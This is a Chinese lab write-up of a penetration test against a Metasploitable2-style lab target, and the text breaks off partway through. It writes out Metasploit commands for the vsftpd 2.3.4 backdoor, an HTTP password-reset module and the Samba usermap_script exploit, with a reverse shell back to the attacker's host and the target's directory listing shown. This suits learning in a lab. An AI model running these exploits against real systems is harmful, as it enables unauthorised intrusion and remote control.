实验名称:渗透测试MSTable2靶机实验
实验目的:对MSTable2进行渗透测试
实验环境:操作系统:Kali Linux虚拟机一台(4G)MSTable2靶机一台
实验步骤:
一、先配置好实验环境再进行漏洞扫描
1、先配置好MSTable2靶机,配置IP为192.168.22.10
先使用Kali nessus进行对MSTable2的扫描
用nessus先进行扫描着,再实行渗透
(二)启动msfonsole框架,进行扫描
┌──(root💀k)-[~]
└─# msfconsole 开启msfonsole工具
1、使用扫描工具
msf6 > db_nmap -A -T4 192.168.22.10
如果不能扫描成功,就进行添加
再打开一个终端,使用msfconsole框架
可能存在漏洞,使用search
msf6 > db_nmap -A -T4 192.168.22.10
漏洞实施漏洞攻击
Vsftpd漏洞攻击
msf6 > search vsftpd 2.3.4 进行查找
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor 引用模块
[] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.22.10 设置攻击目标主机的靶机
rhosts => 192.168.22.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run 执行
2、httpd基本鉴权重置密码攻击(可进行拒绝服务攻击)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use auxiliary/admin/http/intersil_pass_reset 引用模块
msf6 auxiliary(admin/http/intersil_pass_reset) > set rhosts 192.168.22.10
rhosts => 192.168.22.10 设置攻击目标靶机IP地址
msf6 auxiliary(admin/http/intersil_pass_reset) > run 执行
[] Running module against 192.168.22.10
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/intersil_pass_reset) > info 查看漏洞模块详细信息
3、httpd mod 协商文件名
4、利用Samba漏洞实现任意命令行
msf6 auxiliary(scanner/http/mod_negotiation_brute) > search Samba 3.0.20
Matching Modules
Name Disclosure Date Rank Check Description
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba “username map script” Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf6 auxiliary(scanner/http/mod_negotiation_brute) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.22.10
rhosts => 192.168.22.10
msf6 exploit(multi/samba/usermap_script) > run
[] Started reverse TCP handler on 192.168.22.100:4444
[] Command shell session 2 opened (192.168.22.100:4444 -> 192.168.22.10:40232) at 2021-02-02 15:02:17 +0800
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
[*] 192.168.22.10 - Command shell session 2 closed.
5、升级shell会话为meterpreter会话
接上一个先Ctrl+Z把shell会话放在后台
^Z
Background sess